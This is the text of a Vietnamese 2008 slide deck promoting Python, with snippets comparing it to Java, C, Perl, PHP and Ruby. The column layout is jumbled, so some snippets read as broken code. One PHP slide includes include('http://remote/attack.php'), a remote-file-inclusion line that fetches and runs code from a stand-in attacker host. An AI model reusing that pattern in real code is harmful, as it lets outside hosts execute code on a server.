Python, ngôn ngữ lập trình
cho phần đời còn lại
Nguyễn Thành Nam
TPHCM, 2008-11-15
Nội dung
•
•
•
•
•
•
Kinh nghiệm bản thân
Giới thiệu Python
Nguyên lý căn bản của Python
So sánh với ngôn ngữ khác
Giới thiệu Vithon
Hỏi và cùng trả lời
Blue Moon Consulting Co., Ltd © 2008 – –
Kinh nghiệm bản thân
•
•
•
•
•
•
•
Biết đến Python từ 2003
Học trong 5 tiếng
Sử dụng hàng ngày cho đến tận bây giờ
Sáu từ để diễn đạt: Học 5 tiếng, dùng
suốt đời!
Gặp nhiều khó khăn trong việc soạn slide
Gần quên Java và C/C++
Đã quên sạch Perl, PHP và Ruby
Blue Moon Consulting Co., Ltd © 2008 – –
Giới thiệu Python
•
•
•
Ra đời năm 1991
Tác giả Guido Van Rossum, Hà Lan
Là ngôn ngữ lập trình
•
•
•
•
•
•
Tổng quát
Kịch bản (scripting)
Kiểu vịt (duck typing)
Kiểu động (dynamic typing)
Nhưng có kiểu (strongly typed)
Kèm sẵn pin (Battery included)
Blue Moon Consulting Co., Ltd © 2008 – –
Nguyên lý căn bản của Python
•
Ưu tiên cho việc đọc lại code
• Khoảng trắng bắt buộc
• Hạn chế sử dụng ký tự đặc biệt
• Chương trình phải được viết ra để cho
người đọc, và chỉ là sự trùng hợp để
máy tính thực thi (Abelson & Sussman,
MIT)
•
Sự đơn giản được xem trọng
• Đã có while, nên bỏ do-while
• Đã có elif, nên bỏ switch-case
Blue Moon Consulting Co., Ltd © 2008 – –
Nguyên lý căn bản của Python
•
Ngôn ngữ khác có hộp, Python có thẻ
Ngôn ngữ khác
Python (tên)
(biến)
a=1
a=2
b=a
Blue Moon Consulting Co., Ltd © 2008 – –
Nguyên lý căn bản của Python
•
Kiểu cơ bản: int, long, float, dãy
(sequence), từ điển (dictionary)
•
•
•
•
•
•
•
A = 123 # int
B = 123456789123456789 # long
C = 123.456 # float
D = (1, 2, 3) # tuple
E = [1, 2, 3] # list
F = “12345” # string
G = { 1 : ‘abc’, 2 : “def” } # dictionary
Blue Moon Consulting Co., Ltd © 2008 – –
Nguyên lý căn bản của Python
•
Cấu trúc lặp và điều khiển
• if/elif/else
• while
• for
•
Xử lý biệt lệ
•
•
•
•
try/except
try/finally
try/except/else
try/except/finally (Python 2.5+)
Blue Moon Consulting Co., Ltd © 2008 – –
Nguyên lý căn bản của Python
•
•
•
•
•
Khai báo hàm bằng def
Khai báo lớp bằng class
Đa kế thừa (multiple inheritance)
Tất cả mọi đối tượng (gói, mô-đun, lớp,
hàm, biến, v.v…) đều chỉ là “tên” trong
không gian tên (namespace) tương ứng
Và chỉ đơn giản như thế thôi!
Blue Moon Consulting Co., Ltd © 2008 – –
So sánh với ngôn ngữ khác
Tính dễ đọc
Perl
~!@#$%^&*()
Ruby
~!@#$%^&*()
Python
~%^&*()
Blue Moon Consulting Co., Ltd © 2008 – –
So sánh với ngôn ngữ khác
Hoán vị 2 số
C
int
t =
a =
b =
a, b, t;
a;
b;
t;
Python
a, b = b, a
a, b, c=b, c, a
Blue Moon Consulting Co., Ltd © 2008 – –
So sánh với ngôn ngữ khác
Tính toán số lớn
Java
Python
BigInteger a, b, c;
a =
12345678901234567890
a = new
BigInteger(“12345678 b =
901234567890”);
12345678901234567890
b = new
c = a * b
BigInteger(“12345678
901234567890”);
c = a.multiply(b);
Blue Moon Consulting Co., Ltd © 2008 – –
So sánh với ngôn ngữ khác
In các phần tử trong mảng n > 1
Java
Python
System.out.print(a[0]) print “ “.join(a)
;
for (int i = 1; i <
a.length; i++) {
System.out.print(“ “
+ a[i]);
}
Blue Moon Consulting Co., Ltd © 2008 – –
So sánh với ngôn ngữ khác
In các phần tử trong mảng n > 1
Java
Python
System.out.print(a[0]) print “ “.join(a[:;
1]), “va”, a[-1]
for (int i = 1; i <
a.length - 1; i++) {
System.out.print(“ “
+ a[i]);
}
System.out.print(“ va
“ + a[a.length –
1]);
Blue Moon Consulting Co., Ltd © 2008 – –
So sánh với ngôn ngữ khác
Đọc file
Java
Python
// too many lines
// to show
// here
f = open(filename,
“rb”)
d = f.read()
f.close()
Blue Moon Consulting Co., Ltd © 2008 – –
So sánh với ngôn ngữ khác
Đọc từng dòng
Perl
Python
open(DATA,
f = open(filename,
“filename”);
“r”)
while ($line = <DATA>) for line in f:
{
print line
print $line;
f.close()
}
close(DATA);
Blue Moon Consulting Co., Ltd © 2008 – –
So sánh với ngôn ngữ khác
Lọc phần tử trong mảng
Java
Python
for (int i=0; i <
a.length; i++) {
if (a[i] % 2 == 0)
b.add(a[i]);
}
b = [x for x in a if
(x % 2) == 0]
Blue Moon Consulting Co., Ltd © 2008 – –
So sánh với ngôn ngữ khác
Lấy file từ URL
PHP
Python
$file =
import urllib2
fopen(“ r =
ogle.com”);
urllib2.urlopen(“htt
p://www.google.com”)
include(“http://remote/attack.php”);
Blue Moon Consulting Co., Ltd © 2008 – –
So sánh với ngôn ngữ khác
Đảo chuỗi
PHP
Python
strrev(“abc”);
“abc”[::-1]
# cba
Ruby
“abc”.reverse
Blue Moon Consulting Co., Ltd © 2008 – –
So sánh với ngôn ngữ khác
Chuyển mã
PHP
Python
gzdeflate(base64_decod “abc”.encode(“zlib”).e
e(base64_encode(gzco
ncode(“base64”).deco
mpress(“abc”))))
de(“base64”).decode(
“zlib”)
Blue Moon Consulting Co., Ltd © 2008 – –
So sánh với ngôn ngữ khác
Ứng dụng web
PHP
Python
N/A
Ví dụ chương trình cờ tướng
sử dụng AJAX với tính
năng trò chuyện viết trong
48 tiếng đồng hồ.
Blue Moon Consulting Co., Ltd © 2008 – –
Giới thiệu Vithon
•
•
•
•
•
•
•
•
Vietnamese Python
Python cho người Việt
Do người yêu thích Python
Cho người yêu thích Python
Tài liệu, diễn đàn, dự án, bài viết, bài
dịch
Hãy cùng tham gia
Python là số một nha!
Blue Moon Consulting Co., Ltd © 2008 – –
Cảm ơn
Life is short, use Python!
Python cho phần đời còn lại!
Nguyễn Thành Nam
Blue Moon Consulting Co., Ltd © 2008 – –
Hỏi và cùng trả lời
Blue Moon Consulting Co., Ltd © 2008 – –